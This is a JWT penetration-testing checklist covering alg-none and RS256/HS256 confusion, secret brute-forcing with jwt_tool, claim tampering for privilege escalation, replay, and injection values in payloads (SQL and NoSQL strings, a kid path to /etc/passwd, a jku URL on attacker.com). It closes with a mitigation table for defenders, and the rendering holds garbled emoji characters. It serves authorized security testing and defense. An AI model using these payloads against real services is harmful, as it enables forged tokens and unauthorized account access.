Page 1
π οΈ π JWT Penetration Testing Checklist (Fully Detailed) π 1. π Basic Enumeration β Test: Token Structure: Is it a JWT? Format: header.payload.signature Decode JWT (Base64): Header: algorithm used? Payload: roles, expiry, userID, admin flag? π Tools: # Decode manually echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d Or use: https://jwt.io Burp Suite extension: JWT Editor, Hackvertor β οΈ 2. π₯ Algorithm-Based Attacks 𧨠a. alg: none attack π© When vulnerable: JWT header: "alg": "none" Server doesn't verify signature π§ͺ Test: Change header to: { "alg": "none", "typ": "JWT" } Remove the signature (or leave it empty). Modify payload (e.g., "admin": true) Base64 encode and send token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZG1pbiI6dHJ1ZX0. β If accepted: Critical vulnerability. 𧨠b. Algorithm Confusion (RS256 β HS256) π© When vulnerable: Server expects asymmetric RS256 (public/private key), but allows symmetric HS256 (HMAC). π§ͺ Test: Change alg to HS256 Use server's public key as the secret key to sign Resign the token with HMAC using public key β If accepted: Server confused symmetric vs. asymmetric algorithms. π¦ Tools: jwt_tool.py β --exploit alg_none, --exploit alg_hs256 π 3. π Signature Key Bruteforce 𧨠a. Weak secret / brute force π© When vulnerable: HS256, HS384, HS512 used with a guessable shared secret. π§ͺ Test: python3 jwt_tool.py <token> -d -S wordlist.txt Or use: jwtcrack.py Burp Suite Intruder + SecLists weak passwords list β If cracked, attacker can forge arbitrary tokens. β³ 4. π§ͺ Expiry / Time-Based Attacks βοΈ a. Modify exp, nbf, iat fields Try to bypass expiry: { "exp": 9999999999 } Try pre-validating tokens: { "nbf": 0, "iat": 0 } β If server does not verify these fields β logic flaw. π§ 5. π Privilege Escalation π― Target fields like: isAdmin role userid permissions access_level π§ͺ Test: Change payload: { "role": "admin", "userid": 1 } Resign (if possible) or use none/bruteforced key β If access granted β vertical privilege escalation. π 6. π Replay Attack π§ͺ Test: Use captured JWT on another account/session See if same token grants access β token not scoped to user β If works β JWT not bound to session/IP/device π£ 7. πͺ Injection in Payload 𧨠a. SQL Injection / NoSQL Injection JWT is used in database queries? Payload: { "username": {"$ne": null} } or { "userid": "1' OR '1'='1" } β If DB logic accepts it β critical injection risk. πͺ€ 8. π§ͺ IDOR + JWT π― Use JWT to access other userβs data: { "userid": 1234 } β Try other user IDs β If no access control enforced β Insecure Direct Object Reference. π§© 9. π¦ JWT in Cookies / Storage π§ͺ Test: Can you overwrite the cookie? Is the JWT in localStorage or sessionStorage? Vulnerable to XSS? Can you refresh expired tokens? (Look for refresh tokens) β If client has full control β combine with XSS π 10. Refresh Token Exploits π§ͺ Test: Capture refresh token Try replaying Try CSRF on refresh endpoint Does it return new access token? β If refresh token never expires / is not bound β long-term hijack possible. π₯ 11. Advanced & Real-World Exploits π© a. Key Disclosure via LFI If the private key is accessible via LFI β attacker can sign own tokens. π© b. Kid Header Injection { "kid": "../../../../../../etc/passwd" } β If used to load keys from disk, this can lead to path traversal + key loading. π© c. JWT in Authorization header (CSRFable) Authorization: Bearer <token> β If the token is used in a header without SameSite protection, you may be able to CSRF it from another origin. π© d. JWK Injection If app supports jku or x5u in JWT header: { "jku": "https://attacker.com/mykey.json" } β If accepted β attacker can inject their key + sign arbitrary tokens. π§° Tools & Wordlists π§ jwt_tool π§ jwt-cracker π§ JOSEPH π Wordlists: SecLists (Passwords, JWT Secrets, etc.) π§± Mitigation Cheatsheet (for defenders) Issue Mitigation alg: none Always enforce algorithm server-side Weak secret Use long, random keys (256+ bits) Exp tampering Enforce expiration strictly Forged roles Validate roles on backend Token reuse Use short-lived tokens + refresh flow Key confusion (HS256/RS256) Donβt allow multiple algs Kid/path injections Use static key loading, not dynamic
Last updated